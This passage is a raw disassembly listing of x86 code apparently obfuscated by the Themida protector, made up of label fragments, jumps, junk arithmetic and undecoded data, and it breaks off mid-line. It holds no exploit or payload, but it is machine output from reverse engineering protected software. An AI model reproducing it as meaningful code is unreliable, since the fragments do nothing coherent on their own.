loc_5902BF: ; CODE XREF: Themida_:0059556Dj sub esi, edx pop edx jmp loc_58B4FB ; --------------------------------------------------------------------------- loc_5902C7: ; CODE XREF: Themida_:0058B48Dj xor edi, ebp jmp loc_58CC69 ; --------------------------------------------------------------------------- dw 810Fh dd 104Fh, 890FC9FEh, 0FFFFE8D9h, 8831E980h, 0FF5159CCh dd 56582434h, 0BA52E689h, 351F6D44h, 0D6ABF57h, 0FA014AD3h dd 147CE95Fh, 0D8F70000h, 2CD1E9h db 0 ; --------------------------------------------------------------------------- loc_590305: ; CODE XREF: Themida_:0058BE6Ej mov ecx, [esp] add esp, 4 sub ecx, 32441BE5h not ecx push ebx mov ebx, 4510A3Fh and ebx, 42D36925h jmp loc_58CBB7 ; --------------------------------------------------------------------------- loc_590327: ; CODE XREF: Themida_:0058B9BDj jnp loc_58C80B sub ebp, 7E96BDFBh mov edx, ebp mov ebp, [esp] mov ebp, edi mov ebx, edi loc_59033C: ; CODE XREF: Themida_:0058B01Fj mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], edi mov edi, 4 add eax, edi jmp loc_595F54 ; --------------------------------------------------------------------------- loc_590363: ; CODE XREF: Themida_:loc_58B3F0j or edx, 0E147ADBh jmp loc_58FC93 ; --------------------------------------------------------------------------- dw 41E9h db 0A3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_590373: ; CODE XREF: Themida_:0058D2D5j ; Themida_:0058E79Cj add ebx, 1F325105h mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], eax mov eax, 4A6360B6h sub eax, 93A2BD3h push ebx mov ebx, 6B0B1B08h or eax, ebx pop ebx jmp loc_595CF3 ; --------------------------------------------------------------------------- dd 0A3FFED81h, 60E9986Ah db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5903AB: ; CODE XREF: Themida_:loc_5923D6j shr ebp, 4 jmp loc_58C654 ; --------------------------------------------------------------------------- loc_5903B3: ; CODE XREF: Themida_:00597E40j push eax push esi jmp loc_58D686 ; --------------------------------------------------------------------------- loc_5903BA: ; CODE XREF: Themida_:0058F2DAj pop esi sub ebp, ecx pop ecx or edx, ebp pop ebp push ebx jmp loc_58D894 ; --------------------------------------------------------------------------- loc_5903C7: ; CODE XREF: Themida_:00596EBEj add [esp+4], ebx pop ebx mov edi, [esp] add esp, 4 push 0DD4h mov [esp], eax mov eax, 4 sub edi, 6943295Ah sub edi, 56532E03h add edi, eax add edi, 56532E03h push esi mov esi, 523041A0h add esi, 751C0DAEh sub esi, 4EB46A4h xor esi, 0AB2221F0h add edi, esi pop esi mov eax, [esp] add esp, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edx push eax pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_59042B: ; CODE XREF: Themida_:0059256Dj sub ebp, 0F8F058Eh jmp loc_590C5E ; --------------------------------------------------------------------------- dw 3C89h dd 9F7BBF24h, 0EC815BCEh, 4, 0FFF991E9h, 0C0B60FFFh, 578734FFh dd 0A868E789h, 8900000Ah, 0FCE9241Ch, 89000013h, 57E952E6h db 0D1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_590467: ; CODE XREF: Themida_:0058DB59j push ebx mov ebx, 66E10D28h shr ebx, 5 and ebx, 0F5A4147h jmp loc_59568E ; --------------------------------------------------------------------------- loc_59047B: ; CODE XREF: Themida_:0058B39Fj push 3A1Ch mov [esp], ebp push ecx mov ecx, 1C53214Ah push esi jmp loc_590688 ; --------------------------------------------------------------------------- db 89h dd 0A1E9243Ch db 0B3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_590497: ; CODE XREF: Themida_:0058DFA7j pop ecx add esp, 4 jmp loc_58C10C ; --------------------------------------------------------------------------- aSsr db '\ιR',0 db 0 ; --------------------------------------------------------------------------- loc_5904A9: ; CODE XREF: Themida_:005951CDj ja loc_58BD46 jmp loc_59230E ; --------------------------------------------------------------------------- dd offset dword_455248+20820h dd 242C8900h, 0BE565D54h, 216179A3h, 3D92E9h, 45B55100h dd 6542E9h db 0 ; --------------------------------------------------------------------------- loc_5904D1: ; CODE XREF: Themida_:0058FE4Aj ; Themida_:00592991j ... add ebx, 583D7BCEh pop ebp jmp loc_5934D1 ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 0AD1FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5904E6: ; CODE XREF: Themida_:005944F0j push esi mov esi, 3025687Ch add [esp+4], esi pop esi mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], eax mov eax, 31295A6Fh dec eax push edi push esi mov esi, 103F1F2h jmp loc_58E728 ; --------------------------------------------------------------------------- loc_590512: ; CODE XREF: Themida_:005970B1j mov dl, 0F1h add dl, 0D7h shr dl, 6 sub dl, 0BBh jmp loc_58F720 ; --------------------------------------------------------------------------- loc_590522: ; CODE XREF: Themida_:0058F604j mov edx, esp jmp loc_58C963 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 4FE8E904h, 0E95B0000h, 0FFFFEC48h ; --------------------------------------------------------------------------- loc_590538: ; CODE XREF: Themida_:005938D2j xchg ebx, [esp] pop esp mov [esp], ebx push edi jmp loc_596E43 ; --------------------------------------------------------------------------- loc_590545: ; CODE XREF: Themida_:00590BBDj ; Themida_:0059611Fj jge loc_595ACF jmp loc_597E7F ; --------------------------------------------------------------------------- dd 0E958C629h, 0FFFFC582h ; --------------------------------------------------------------------------- loc_590558: ; CODE XREF: Themida_:00590BD7j add cl, dh pop edx jmp loc_59018F ; --------------------------------------------------------------------------- loc_590560: ; CODE XREF: Themida_:0059181Ej push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] pop ebp push edi mov edi, 3A3E677Bh sub ebp, edi mov edi, [esp] add esp, 4 sub esp, 4 mov [esp], ebp jmp loc_58DAC8 ; --------------------------------------------------------------------------- dw 8FBBh dd 8174BC1Ch, 0D25813EBh, 0B1E38142h, 0F742DD1Ah, 0EAF381D3h dd 31475741h, 0BA525BDFh, 494C2256h, 0F2814A42h, 19817DA2h dd 4A04E2C1h, 80FBEA81h, 0D72193A1h, 2BE7815Ah, 8112DF7Eh dd 0FFFFFFEFh, 81EFD1FFh, 21404F7h, 5FFD0100h, 0E902C583h dd 0FFFFD8C1h, 4C481h, 0EC830000h, 24048904h, 0FFA8DAE9h db 0FFh ; --------------------------------------------------------------------------- loc_5905F9: ; CODE XREF: Themida_:0058E1E5j mov edi, esp jmp loc_592145 ; --------------------------------------------------------------------------- dd 2414F757h, 1572E9h db 0 ; --------------------------------------------------------------------------- loc_590609: ; CODE XREF: Themida_:0059069Fj add eax, edx add [eax], ecx pop eax mov edx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp mov ecx, [esp] jmp loc_58E833 ; --------------------------------------------------------------------------- dd offset dword_576194+555h db 0 ; --------------------------------------------------------------------------- loc_590631: ; CODE XREF: Themida_:00594241j push dword ptr [esp] pop edx push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_592A28 ; --------------------------------------------------------------------------- loc_590649: ; CODE XREF: Themida_:0058A624j shr eax, 12h jmp loc_592513 ; --------------------------------------------------------------------------- db 8Fh, 2, 0E9h dd 0FFFF9C76h ; --------------------------------------------------------------------------- loc_590658: ; CODE XREF: Themida_:0058AC86j pop ebp sub esi, edx jmp loc_59641C ; --------------------------------------------------------------------------- loc_590660: ; CODE XREF: Themida_:005963EEj add ecx, esi pop esi sub ecx, 4 jmp loc_5953A1 ; --------------------------------------------------------------------------- loc_59066E: ; CODE XREF: Themida_:0058EF55j mov [esp], ecx push esi mov esi, 2AB80E6Dh add esi, 0DD42F9C9h jmp loc_58D36C ; --------------------------------------------------------------------------- loc_590682: ; CODE XREF: Themida_:0058F254j push esi jmp loc_58E6B9 ; --------------------------------------------------------------------------- loc_590688: ; CODE XREF: Themida_:0059048Aj push 56925D8Bh pop esi and esi, 66DC29F1h jmp loc_58F2D2 ; --------------------------------------------------------------------------- loc_590699: ; CODE XREF: Themida_:0058B7FFj push eax mov eax, 0 jmp loc_590609 ; --------------------------------------------------------------------------- loc_5906A4: ; CODE XREF: Themida_:00590F4Aj add esp, 4 add ecx, esi pop esi push 156Dh jmp loc_59137A ; --------------------------------------------------------------------------- loc_5906B4: ; CODE XREF: Themida_:00591728j ; Themida_:00591FC6j push ecx jmp loc_592270 ; --------------------------------------------------------------------------- loc_5906BA: ; CODE XREF: Themida_:0059314Dj mov ecx, 4 add edx, 43F67A21h jmp loc_5922F1 ; --------------------------------------------------------------------------- dw 0BBBAh dd 0E9067123h, 5E7Ch, 1C5AC3BDh, 1FC58162h, 0F76D8712h dd 0A5F2E9D5h, 0CA29FFFFh, 38F6E9h db 0 ; --------------------------------------------------------------------------- loc_5906ED: ; CODE XREF: Themida_:0058C7D9j mov edi, 0D44487BBh add edi, esi pop esi add ebp, edi pop edi xchg ebp, [esp] pop esp jmp loc_58B804 ; --------------------------------------------------------------------------- loc_590701: ; CODE XREF: Themida_:0058E64Dj pop esp jmp loc_58E175 ; --------------------------------------------------------------------------- loc_590707: ; CODE XREF: Themida_:005912DCj xchg edx, edi push esi mov esi, 0CA579396h sub edi, esi pop esi add ebx, 5F951F8Fh sub ebx, edi push esi mov esi, 5CD9114Eh and esi, 5F656B4h or esi, 1BD3794Dh jmp loc_58BB06 ; --------------------------------------------------------------------------- db 57h, 83h, 0ECh dd 48F5404h, 24048124h, 4, 3DAFE95Fh, 1C330000h, 241C3124h dd 8B241C33h, 4BE92424h, 66FFFFE4h, 27DAE951h, 0EF800000h dd 1C780FDh, 0EF80CFFEh, 0B0506681h, 0E9C72834h, 0FFFFF6B8h dd 240C8B66h, 5491E9h, 80C30000h, 535618C3h, 912C70BBh dd 3E95659h, 56FFFF9Ch, 161691BEh, 99E68142h, 0E94C6354h dd 5D2Ah, 0C63CE981h, 0CE896051h, 24742959h, 24348B04h dd 61D5E956h, 8B660000h, 72E92404h db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_5907BF: ; CODE XREF: Themida_:005953C7j pop edi sub edi, 1E55119Bh jmp loc_58F59D ; --------------------------------------------------------------------------- loc_5907CB: ; CODE XREF: Themida_:0058F8BEj pop esp mov [esp], ebx pop dword ptr [edi+24h] pop ebx inc ebx push dword ptr [edi+24h] sub esp, 4 mov [esp], ebx pop dword ptr [edi+24h] pop ebx loc_5907E1: ; CODE XREF: Themida_:00593E9Dj push ebx push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 sub esp, 4 mov [esp], edi push esp jmp loc_596CC9 ; --------------------------------------------------------------------------- loc_5907FE: ; CODE XREF: Themida_:00596A6Ej pop dx push 20EBh mov [esp], ebx jmp loc_58B0AA ; --------------------------------------------------------------------------- loc_59080D: ; CODE XREF: Themida_:0058B696j mov [esp], ebx jmp loc_58BB82 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 89242C89h, 0E78957E5h, 4C781h, 68E90000h db 0B6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59082B: ; CODE XREF: Themida_:0058BD19j add edi, 7E1D0FDEh jmp loc_58D5B0 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 54241C89h, 6A1AE9h db 0 ; --------------------------------------------------------------------------- loc_590845: ; CODE XREF: Themida_:005958CBj add al, bh sub al, 0ADh push ebx jmp loc_58AFDB ; --------------------------------------------------------------------------- db 0ACh dd 3E9D830h db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_590857: ; CODE XREF: Themida_:0059357Aj pop ebp pop dword ptr [esp] pop esp or [esp], ax pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- dw 0E954h dd 0FFFFC13Ah, 4C281h, 0E90000h, 0C1000015h, 840F05E7h dd 0FFFFF056h, 8102E7C1h, 0F64C40F7h, 4BEF8169h, 81BC552Eh dd 0CA082444h, 0E948EC0Bh, 483Eh ; --------------------------------------------------------------------------- loc_59089C: ; CODE XREF: Themida_:loc_597C92j push ebx mov ebx, 0FFFFFFFFh add esi, ebx jmp loc_59222F ; --------------------------------------------------------------------------- db 59h, 28h, 0DDh dd 1DE95B66h db 51h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5908B3: ; CODE XREF: Themida_:0058C971j mov edi, 44BA20E7h jmp loc_595804 ; --------------------------------------------------------------------------- loc_5908BD: ; CODE XREF: Themida_:loc_58C654j push edx push ebx mov ebx, 3A351BA8h mov edx, ebx pop ebx jmp loc_5951F4 ; --------------------------------------------------------------------------- dd 33240C31h, 248B240Ch, 24043124h, 0FF9CB9E9h, 0F7D587FFh dd 81D587D2h, 375B3DC5h, 66C58150h, 128A709h, 242C8BEBh dd 5604C483h, 2BEh, 5EF30100h, 8B241C87h, 31662424h, 0E99C2404h dd 0FFFF99BEh ; --------------------------------------------------------------------------- loc_590910: ; CODE XREF: Themida_:005916B7j add ebx, 1F9AB9Eh add ecx, ebx pop ebx push 6104h mov [esp], esi push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_596B5D ; --------------------------------------------------------------------------- loc_590938: ; CODE XREF: Themida_:0059618Aj pop edx jmp loc_5956BA ; --------------------------------------------------------------------------- dw 0E389h dd 4EC81h, 2C890000h, 0CFEBE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59094E: ; CODE XREF: Themida_:0058E0E6j add edx, ebp jmp loc_592349 ; --------------------------------------------------------------------------- db 0B9h, 2, 0 dd 0CF890000h, 724E9h, 24148900h, 0C281E289h, 4, 0E904C283h dd 1AFDh, 207F83ADh, 45840F00h, 68FFFFA4h, 36ABh, 0E9243C89h dd 99h, 52240C8Bh, 0FFD2B4E9h, 24248BFFh, 4EC81h, 4890000h dd 5B92E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5909A6: ; CODE XREF: Themida_:0058B879j add ebx, 4 xchg ebx, [esp] jmp loc_58FEB6 ; --------------------------------------------------------------------------- loc_5909B4: ; CODE XREF: Themida_:005977A8j push ebp mov ebp, 776A2D9Fh jmp loc_592A54 ; --------------------------------------------------------------------------- db 5Dh dd 8904EC83h, 2BA2414h, 81000000h, 0F35DE0C7h, 1EEF8177h dd 1454F2Fh, 89BE56D7h, 8163E854h, 7A75BACEh, 2BE68152h dd 0E9582C50h, 0FFFFC868h ; --------------------------------------------------------------------------- loc_5909F0: ; CODE XREF: Themida_:0058D699j shl esi, 5 jmp loc_5950EB ; --------------------------------------------------------------------------- loc_5909F8: ; CODE XREF: Themida_:loc_594476j ; Themida_:loc_5946F3j dec ebp js loc_58FCCF jmp loc_58A777 ; --------------------------------------------------------------------------- dd 8813EC80h, 0EE8058E7h, 80FE00AFh, 0BE9AFC6h db 49h, 2 dup(0) ; --------------------------------------------------------------------------- loc_590A17: ; CODE XREF: Themida_:00597038j push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] jmp loc_596477 ; --------------------------------------------------------------------------- db 0BFh, 5Ch, 1 aU9slt db 'U9ιLT',0 db 0 ; --------------------------------------------------------------------------- loc_590A2F: ; CODE XREF: Themida_:0058DA94j jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_590A34: ; CODE XREF: Themida_:0058FF9Dj pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] push dword ptr [esp] pop esi add esp, 4 push ebx mov ebx, esp jmp loc_594A6C ; --------------------------------------------------------------------------- db 0ACh, 2Ch, 14h dd 0B5E9D800h, 5300005Bh, 4EC81h, 1C890000h, 0E9E38924h dd 4AE7h ; --------------------------------------------------------------------------- loc_590A68: ; CODE XREF: Themida_:0058C5C7j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp sub ebx, 8E81220h push eax mov eax, 4A212A35h add ebx, eax mov eax, [esp] add esp, 4 add ebx, eax push edx mov edx, 362417FDh jmp loc_58D2B6 ; --------------------------------------------------------------------------- dd 46412505h, 24348B7Bh, 193B68h, 240C8900h, 0C1815954h dd 4, 4C181h, 0C330000h, 240C3124h, 5C240C33h, 8904EC83h dd 94BE2434h, 68100B5Ch, 1D6Eh, 0FFCF29E9h, 148B66FFh dd 2C48324h, 0B9665166h, 1666D07h, 6604244Ch, 4C016659h dd 60E90224h, 54FFFFFCh, 582434FFh, 58F2E9h, 5F7BBE00h dd 0EE83117Dh, 81C68101h, 0E96E01E0h, 28C7h ; --------------------------------------------------------------------------- loc_590B14: ; CODE XREF: Themida_:005914F0j xor ch, 1Dh shr ch, 4 sub ch, 0CBh add ch, 0CBh xor bl, ch jmp loc_5964E5 ; --------------------------------------------------------------------------- db 5Ah dd 822DF801h, 0E965D233h, 0FFFFB15Dh ; --------------------------------------------------------------------------- loc_590B34: ; CODE XREF: Themida_:0058CFD8j pop ebx pop dword ptr [esp] pop esp or eax, eax jz loc_5938FF push dword ptr [edi+1Ch] sub dword ptr [esp], 33CD15BDh push dword ptr [esp] mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], ebx push esp jmp loc_598018 ; --------------------------------------------------------------------------- loc_590B60: ; CODE XREF: Themida_:005916D4j mov ebx, esp add ebx, 4 push ebx mov ebx, esp jmp loc_58DEBB ; --------------------------------------------------------------------------- loc_590B70: ; CODE XREF: Themida_:0058D203j sub esp, 4 mov [esp], eax push 5B155612h pop eax shr eax, 7 jns loc_591722 push edx mov edx, 7B4459DFh jmp loc_58B845 ; --------------------------------------------------------------------------- db 88h db 0FBh, 5Dh ; --------------------------------------------------------------------------- loc_590B96: ; CODE XREF: Themida_:0058B504j sub edi, 4 jmp loc_58DB6C ; --------------------------------------------------------------------------- loc_590B9E: ; CODE XREF: Themida_:00593E63j pop edx pop eax jmp loc_5956CF ; --------------------------------------------------------------------------- loc_590BA5: ; CODE XREF: Themida_:0058EE13j pop ebx pop edi sub esp, 4 mov [esp], esi push ecx push 51BC0F68h pop ecx sub ecx, 8985C4Fh jmp loc_590545 ; --------------------------------------------------------------------------- dw 0E952h dd 0FFFFB5BCh ; --------------------------------------------------------------------------- loc_590BC8: ; CODE XREF: Themida_:00591D72j sub cl, 83h shr cl, 1 not cl push edx mov dh, 0D3h not dh xor dh, 0A8h jmp loc_590558 ; --------------------------------------------------------------------------- dd 4147D68h, 0F7525A0Fh, 0F75A2414h, 0FD860FDAh, 8100001Eh dd 0D13125C2h, 0CFC28136h, 892E7109h, 0ED835AD0h, 4EDC1FFh dd 56EEE9h db 0 ; --------------------------------------------------------------------------- loc_590C09: ; CODE XREF: Themida_:0058BB26j push ebx mov bl, 1Ch jmp loc_5954DA ; --------------------------------------------------------------------------- loc_590C11: ; CODE XREF: Themida_:00594BB9j dec edx add edx, 0FFFFFFFFh push ebp mov ebp, 0AE41A8B8h add edx, ebp pop ebp add ebp, 1DCD1489h add ebp, edx sub ebp, 1DCD1489h mov edx, [esp] add esp, 4 xchg ebp, [esp] jmp loc_58C76A ; --------------------------------------------------------------------------- a313S_ db '3<$1<$3<$ι±.',0 db 0 ; --------------------------------------------------------------------------- loc_590C4B: ; CODE XREF: Themida_:005979C4j shl ebx, 1 and ebx, 342E42CCh and ebx, 1C2B63D6h jmp loc_594BDF ; --------------------------------------------------------------------------- loc_590C5E: ; CODE XREF: Themida_:00590431j xor edi, ebp xor ebp, edi xor edi, ebp mov ebp, [esp] add esp, 4 push ebp jmp loc_597B43 ; --------------------------------------------------------------------------- db 50h dd 4C8FB866h, 0F9F0566h, 3E0C166h, 52F63566h, 174068h dd 24148900h, 389DBA66h, 44BD6655h, 6E88E933h, 3C330000h dd 243C3124h, 8B243C33h, 0EFE92424h, 8300003Bh, 3C8704C7h dd 0EDE95C24h db 56h, 2 dup(0) ; --------------------------------------------------------------------------- loc_590CB7: ; CODE XREF: Themida_:00594405j mov ax, [esp] push 0B99h mov [esp], ecx push esp jmp loc_59805F ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 0E189240Ch, 0FFCB2BE9h db 0FFh ; --------------------------------------------------------------------------- loc_590CD9: ; CODE XREF: Themida_:0058C8E9j xor eax, edx pop edx add eax, ebx add [eax], ebp pop eax pop ebx jmp loc_595FE7 ; --------------------------------------------------------------------------- loc_590CE7: ; CODE XREF: Themida_:0058F516j pop ecx add ebx, 0F7BBD704h add ebp, ebx pop ebx push ecx jmp loc_5934B9 ; --------------------------------------------------------------------------- db 80h dd 0FC88E0F7h, 0FFF831E9h, 4C781FFh, 87000000h, 5C243Ch dd 41B2E9E3h, 665D0000h, 0B3E930FFh, 5FFFF95h, 53C40480h dd 637A1805h, 0B8E95620h, 5CFFFFF3h, 0E9240C89h, 0FFFFAD18h ; --------------------------------------------------------------------------- loc_590D34: ; CODE XREF: Themida_:00593EA9j mov ecx, [esp] push ebx mov ebx, esp jmp loc_58CD15 ; --------------------------------------------------------------------------- loc_590D3F: ; CODE XREF: Themida_:0058BED8j xor ebp, eax pop eax jmp loc_58F567 ; --------------------------------------------------------------------------- db 59h dd 4C481h, 0C0830000h, 71F76802h, 4890000h, 0BE04E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_590D5E: ; CODE XREF: Themida_:00593010j xor ebp, ecx mov ecx, [esp] push edi jmp loc_58CE6C ; --------------------------------------------------------------------------- loc_590D69: ; CODE XREF: Themida_:0059254Ej ; Themida_:00595638j xchg eax, [esp] mov esp, [esp] movzx ecx, al push eax mov eax, esp push 45Ah jmp loc_58B01C ; --------------------------------------------------------------------------- loc_590D7F: ; CODE XREF: Themida_:0058DB84j pop ebx jmp loc_58BA12 ; --------------------------------------------------------------------------- db 5Ch, 87h, 1Ch aSfw db '$\Σ$$ιW',0 db 0 ; --------------------------------------------------------------------------- loc_590D93: ; CODE XREF: Themida_:0058DC31j add ebx, 599C7945h add ebx, edx sub ebx, 599C7945h jmp loc_59446D ; --------------------------------------------------------------------------- loc_590DA6: ; CODE XREF: Themida_:loc_59593Bj push 1A89h mov [esp], ebx push ebp jmp loc_58D3BC ; --------------------------------------------------------------------------- loc_590DB4: ; CODE XREF: Themida_:0058CD1Bj add ebx, 4 xchg ebx, [esp] jmp loc_58B583 ; --------------------------------------------------------------------------- db 89h dd 0EC812404h, 4, 0BF243C89h, 0D013C5Ah, 7246E781h, 0EFC12436h dd 0DABD5503h, 810A7F4Fh, 111344C7h, 81EF017Ah, 111344EFh dd 0F8895D7Ah, 83243C8Bh, 1CBB04C4h, 1F500ABh, 24048BC3h dd 4C481h, 5F210000h, 1DA3E91Ch, 248B0000h, 24343324h dd 33243431h, 248B2434h, 2404FE24h, 94A8E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_590E26: ; CODE XREF: Themida_:0059115Dj push ebp mov ebp, 6CDE500Fh neg ebp jmp loc_58D293 ; --------------------------------------------------------------------------- db 0C1h dd 0D4E905EBh, 0F700006Ah, 0DAC781DFh, 0F76BF5B9h, 521AE9DFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_590E4A: ; CODE XREF: Themida_:0058C719j pop edi add edx, ecx pop ecx push eax mov eax, 396C1E5Ch shr eax, 1 push eax jmp loc_58DCE0 ; --------------------------------------------------------------------------- loc_590E5C: ; CODE XREF: Themida_:00596951j mov [esp], ecx jmp loc_58BE59 ; --------------------------------------------------------------------------- dd 68240C89h, 3063FD59h, 49D9E9h, 0A3B95100h, 5578F71Fh dd 0FFE363E9h db 0FFh ; --------------------------------------------------------------------------- loc_590E7D: ; CODE XREF: Themida_:00594995j mov eax, [edx] pop edx push dword ptr [edi+eax*4] push 4B8Bh mov [esp], ebx push edi push 62B376CAh pop edi add edi, 0BE52FDB2h mov ebx, edi jmp $+5 pop edi jmp loc_58AF3E ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 0E5EAE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_590EAE: ; CODE XREF: Themida_:005950D5j sub ecx, 2 xor ecx, [esp] xor [esp], ecx jmp loc_58C39D ; --------------------------------------------------------------------------- db 0F7h dd 0E99C241Ch, 0FFFF9406h, 5AF18858h, 0FFDE1BE9h, 2EC83FFh dd 24348966h, 0FFCC81E9h db 0FFh ; --------------------------------------------------------------------------- loc_590EDD: ; CODE XREF: Themida_:0059470Ej ja loc_594CB3 jmp loc_597037 ; --------------------------------------------------------------------------- aZKXwS db '<$\ΑXWΏ',0Bh,'»',0 db 5, 2 dup(3Dh) dd 4F0552C8h, 2D7C7A5Fh, 4D8F51B4h, 0B405F801h, 0E94D8F51h dd 0FFFFAC63h ; --------------------------------------------------------------------------- loc_590F10: ; CODE XREF: Themida_:005927E7j pop esp jmp loc_58A2CE ; --------------------------------------------------------------------------- loc_590F16: ; CODE XREF: Themida_:0058C9F2j sub ebx, 20EA7753h add ebx, edx add ebx, 20EA7753h pop edx add eax, ebx mov ebx, [esp] jmp loc_592737 ; --------------------------------------------------------------------------- db 52h dd 0F73040B6h, 5E7C05Ah, 0D8E95266h db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_590F3F: ; CODE XREF: Themida_:loc_58C605j sub edx, 474E2E64h mov esi, edx mov edx, [esp] jmp loc_5906A4 ; --------------------------------------------------------------------------- loc_590F4F: ; CODE XREF: Themida_:0058B9F4j mov [esp], edx push dword ptr [esp+4] jmp loc_58BEED ; --------------------------------------------------------------------------- db 20h dd 148B66F5h, 2C48124h, 0E9000000h, 0FFFFEF7Fh ; --------------------------------------------------------------------------- loc_590F6C: ; CODE XREF: Themida_:0058F575j pop ebp sub edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] mov [esp], esi jmp loc_594C74 ; --------------------------------------------------------------------------- loc_590F87: ; CODE XREF: Themida_:00591A14j add esi, ecx jmp loc_597FB9 ; --------------------------------------------------------------------------- aUvsg db ')ί[UVιG#',0 align 4 dd 0E9F1305Bh, 5E9Ah, 0FF2434FFh, 50582434h, 405E089h dd 0E9000000h, 42AAh, 850FD9F7h, 6217h, 6EF7E9h, 0D830AC00h db 52h, 5Fh ; --------------------------------------------------------------------------- loc_590FC6: ; CODE XREF: Themida_:00593896j push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] add eax, ebp mov ebp, [esp] add esp, 4 push edi mov edi, 56465183h dec edi xor edi, 0D054487h jmp loc_5925C3 ; --------------------------------------------------------------------------- dd 0A648E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_590FFA: ; CODE XREF: Themida_:0058FC7Dj push ax pushf jmp loc_58A2CE ; --------------------------------------------------------------------------- dw 48Bh dd 4C48124h, 5000000h, 4, 26BCBD55h, 0F74D7F02h, 4EE581D5h dd 0C14B8D70h, 0D5F703EDh, 0FFAEF5E9h, 241433FFh, 33241431h dd 665C2414h, 584CD81h, 0DC29810Fh, 6EE9FFFFh, 81000017h dd 4EDh, 0EF815C00h, 4, 5C243C87h, 0FFE147E9h db 0FFh ; --------------------------------------------------------------------------- loc_591059: ; CODE XREF: Themida_:0058C25Dj sub esp, 4 mov [esp], ebp jmp loc_594CF7 ; --------------------------------------------------------------------------- db 81h dd 9C7745C9h, 0B918E909h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_591072: ; CODE XREF: Themida_:0058C516j push dword ptr [esp] pop ecx push eax jmp loc_596BFE ; --------------------------------------------------------------------------- loc_59107C: ; CODE XREF: Themida_:00592A5Cj push eax not dword ptr [esp] jmp loc_58D1BA ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 104C483h, 243C8BFBh, 81E28952h, 4C2h, 4C28100h, 87000000h dd 0DEE92414h, 0B4FFFFFCh, 46A0E9F8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5910AE: ; CODE XREF: Themida_:0058C7FEj add esp, 4 jmp loc_5922E0 ; --------------------------------------------------------------------------- db 5Bh, 0E9h, 5Ah db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5910BF: ; CODE XREF: Themida_:0059267Dj pop ebx add esi, eax jmp loc_58ACB6 ; --------------------------------------------------------------------------- db 87h dd 805C2434h, 556801EBh, 89000031h, 0C2882414h, 386851h dd 68590000h, 627Fh, 0B8240489h, 428E4729h, 0E958C129h dd 25B2h ; --------------------------------------------------------------------------- loc_5910F4: ; CODE XREF: Themida_:00593147j mov ecx, 4 jmp loc_58DF0C ; --------------------------------------------------------------------------- loc_5910FE: ; CODE XREF: Themida_:00593669j not edi xor edi, 0B7ADFD5Bh not edi xor edi, 51311DC9h jl loc_593A83 not edi add edi, 32B2FB6h mov eax, edi pop edi mov bl, bl loc_591121: ; CODE XREF: Themida_:005921E9j sub bl, 3Bh pop edx add bl, 0CCh add bl, 0F3h jmp loc_58FB3A ; --------------------------------------------------------------------------- loc_591130: ; CODE XREF: Themida_:loc_592553j ; Themida_:00595AE5j push 7313h mov [esp], eax push ebx mov ebx, 7C524B83h push ebp push 519C53DDh jmp loc_592D45 ; --------------------------------------------------------------------------- loc_591149: ; CODE XREF: Themida_:loc_594200j sub ebx, 1411871Fh and ecx, ebx mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_590E26 ; --------------------------------------------------------------------------- loc_591162: ; CODE XREF: Themida_:0058DE8Dj mov esi, esp jmp loc_58D149 ; --------------------------------------------------------------------------- db 53h, 50h, 0E9h dd 0FFFFCE25h ; --------------------------------------------------------------------------- loc_591170: ; CODE XREF: Themida_:0059265Cj mov [esp], ecx mov ecx, ebp mov ebx, ecx pop ecx mov [edx], ebx mov ebx, [esp] add esp, 4 pop ebp mov edx, [esp] add esp, 4 jmp loc_58A2CE ; --------------------------------------------------------------------------- db 81h dd 4C6h, 24348700h, 0E789575Ch, 4EC81h, 14890000h, 0F520E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5911AA: ; CODE XREF: 